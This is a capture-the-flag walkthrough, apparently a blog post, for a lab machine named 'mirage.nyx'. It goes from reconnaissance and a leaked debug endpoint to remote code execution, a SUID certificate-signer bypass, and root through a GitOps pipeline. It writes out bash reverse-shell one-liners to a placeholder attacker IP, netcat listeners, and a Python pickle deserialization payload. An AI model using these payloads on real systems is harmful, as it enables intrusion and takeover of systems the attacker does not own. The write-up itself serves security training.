## 1. Reconnaissance & Initial Analysis
The first phase involves mapping the machine's external services and identifying a concrete entry point through direct interaction with the primary web application.
### Step 1.1: Network Discovery
The first action is to conduct an nmap scan to identify all open TCP ports and running services. This provides our initial map of the attack surface.
Bash
nmap -sC -sV mirage.nyxFinding: The scan results reveal three open ports:
Press enter or click to view image in full size

### Step 1.2: Hostname Resolution
Based on the nmap finding, we must map the machine's IP address to the mirage.nyx hostname in our local /etc/hosts file. This is a critical step to ensure our browser and tools can correctly resolve and access the web application.
Bash
# Execute this command on your attacker machine
echo "<MACHINE_IP> mirage.nyx" | sudo tee -a /etc/hosts## 2. Foothold: From Information Leak to Code Analysis to RCE
This phase demonstrates a realistic workflow: discovering a lead, finding source code to gain context, and using that context to build a successful exploit.
### Step 2.1: Discovering an Internal Endpoint
With access to https://mirage.nyx, the first logical step is to analyze the traffic generated by its primary features. We use a web proxy like Burp Suite to intercept the requests while testing the "Visitor ID Verification" file upload.
- We start intercepting traffic.
- We upload a test file through the portal.
- We examine the server's JSON response to our
POST /uploadrequest.
Finding: The response contains a debug_info object, leaking the full URL for an internal backend service. This is a critical information disclosure vulnerability.
JSON
{
"success": true,
"file_reference": "/tmp/scan-...",
"debug_info": {
"backend_endpoint": "http://127.0.0.1:4000/api/v1/debug/submit_job"
}
}Press enter or click to view image in full size

This is a critical lead. We have a target URL, but we don't know how to interact with it—we don't know what parameters it requires. This provides us with a clear objective: find the source code for this service.
### Step 2.2: Discovering the Source Code
With a clear objective, we now perform web content discovery to find any leaked files or directories. We use gobuster with the -d flag to specifically look for directories.
Bash
gobuster dir -u https://mirage.nyx -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -dPress enter or click to view image in full size

Finding: gobuster discovers the /static/ directory. Navigating to https://mirage.nyx/static/ reveals a directory listing containing the file portal_src_v1.zip.
### Step 2.3: Source Code Analysis for API Parameters
Now that we have the source code, we can analyze it to understand the API.
- Download and unzip the archive:
- Bash
wget https://mirage.nyx/static/portal_src_v1.zip unzip portal_src_v1.zip- Search for the endpoint string we discovered in the JSON leak to find where it's used in the code.
- Bash
grep -r "/api/v1/debug/submit_job" .- Finding: The search points to a developer notes file,
dev_notes.md.
Press enter or click to view image in full size

- The source code analysis is a success. It explicitly reveals the HTTP method (
GET) and the two required parameters:source_fileandpost_processing_filter.
### Step 2.4: Executing the RCE Chain
We now have all the pieces of the puzzle.
- Create the payload file:
- Bash
echo "bash -i >& /dev/tcp/<YOUR_ATTACKER_IP>/9001 0>&1" > payload.txt- Start a Netcat listener:
- Bash
nc -lvnp 9001- Upload the payload via the portal and note the
file_referencepath from the JSON response.
Press enter or click to view image in full size

- Construct the final URL, using the endpoint from the JSON leak and the parameters from the code analysis.
- Bash
FILE_PATH="/tmp/scan-..." # From JSON response
INTERNAL_URL="http://127.0.0.1:4000/api/v1/debug/submit_job?source_file=${FILE_PATH}&post_processing_filter=bash"- Trigger the exploit by submitting the
INTERNAL_URLto the "Partner API Tools" form. - Catch the shell in your Netcat listener as the
svc-ocruser.
Press enter or click to view image in full size

## 3. Privilege Escalation to User: The Flawed Crypto Oracle
With a foothold, we must escalate privileges by enumerating the internal system.
### Step 3.1: Internal Enumeration
- Check user and group identity:

We are a member of the non-standard deploy group.
- Find files associated with this group:
find / -group deploy 2>/dev/nullFinding: This command returns the binary/usr/local/bin/ca-signer.
Press enter or click to view image in full size

- Check the binary's permissions:
ls -l /usr/local/bin/ca-signerFinding:-rwsr-x--- 1 root deploy .... Thesconfirms the binary is SUID and runs asroot.
Press enter or click to view image in full size

### Step 3.2: Reverse Engineering ca-signer
We transfer the binary to our local machine and analyze it in Ghidra.
Get TirexV2’s stories in your inbox
Join Medium for free to get updates from this writer.
Finding:
The decompiled code reveals a flawed security check. It is intended to
block CNs containing "admin" but has a pointer arithmetic bug: if (admin_ptr && (admin_ptr == cn_start || *(admin_ptr - 1) != '.')). This check can be bypassed if the character immediately preceding "admin" is a ..
### Step 3.3: Exploiting the Vulnerability
We craft a CSR with the Common Name .admin to bypass the check.
- Generate a new private key on the Mirage shell:
- Bash
openssl genpkey -algorithm RSA -out /tmp/admin.key- Generate the malicious CSR directly with the subject:
- Bash
openssl req -new -nodes -key /tmp/admin.key -out /tmp/admin.csr -subj "/CN=.admin"- Execute the SUID binary to sign our malicious CSR:
- Bash
/usr/local/bin/ca-signer --csr /tmp/admin.csr --out /tmp/admin.crt- We now possess a valid client certificate and key with administrative privileges.
### Step 3.4: Capturing the User Flag
We check the permissions on the user flag file.
Bash
$ ls -l /home/clair
total 4
-rw-r-x--- 1 clair svc-ocr 33 Sep 25 18:50 user.txtFinding: The directory and file permissions grant our svc-ocr user access. We can now read the flag.
Bash
$ cat /home/clair/user.txt
## 4. Privilege Escalation to Root: Abusing the GitOps Pipeline
The final stage involves using our forged certificate to compromise the root user.
### Step 4.1: Discovering the Internal Admin Service
We scan the local machine for other internal services: ss -lntp Finding: A service is listening on 127.0.0.1:9443. An attempt to connect with curl -k https://127.0.0.1:9443 fails with a TLS handshake error, confirming it requires a client certificate (mTLS).
### Step 4.2: Analyzing the Service and Runner Logic
The svc-ocr user has read permissions on the service files.
- Analyze the service code:
cat /opt/ca-admin/ca_admin_service.pyFinding: The code reveals the API endpoint/api/v1/trigger_deployand shows that it executes/opt/deploy-runner/deploy_runner.pywithsudo. - Analyze the deploy runner script:
cat /opt/deploy-runner/deploy_runner.py - Finding: The runner script uses the insecure
pickle.loads()function on user-controlled data from a git repo. This is our path to root.
### Step 4.3: The Final Exploit
- Start a final Netcat listener for the root shell:
- Bash
nc -lvnp 9002- Clone the target git repo. First, run
git config --global --add safe.directory /srv/git/portal.gitto handle the "dubious ownership" error. - Bash
git clone /srv/git/portal.git /tmp/git-repo cd /tmp/git-repo- Create the malicious YAML file. This Python command creates a pickled object that executes a reverse shell:
- Bash
python3 -c "import pickle, base64, os; class RCE: def __reduce__(self): return (os.system, (\"bash -c 'bash -i >& /dev/tcp/<YOUR_ATTACKER_IP>/9002 0>&1'\",)); pickled_obj = pickle.dumps(RCE()); encoded_obj = base64.b64encode(pickled_obj).decode(); meta_content = 'state: ' + encoded_obj; open('.deploy-meta.yml', 'w').write(meta_content)"- Push the malicious file to the central repository:
- Bash
git config --global user.email "a@a.com";
git config --global user.name "a"
git add .deploy-meta.yml && git commit -m "Exploit" && git push- Trigger the deployment. Use
curlwith the forged admin certificate to call the API: - Bash
curl -k --cert /tmp/admin.crt --key /tmp/admin.key --cacert /etc/ca/ca.pem -X POST https://127.0.0.1:9443/api/v1/trigger_deploy- Catch the root shell in your Netcat listener.
Press enter or click to view image in full size
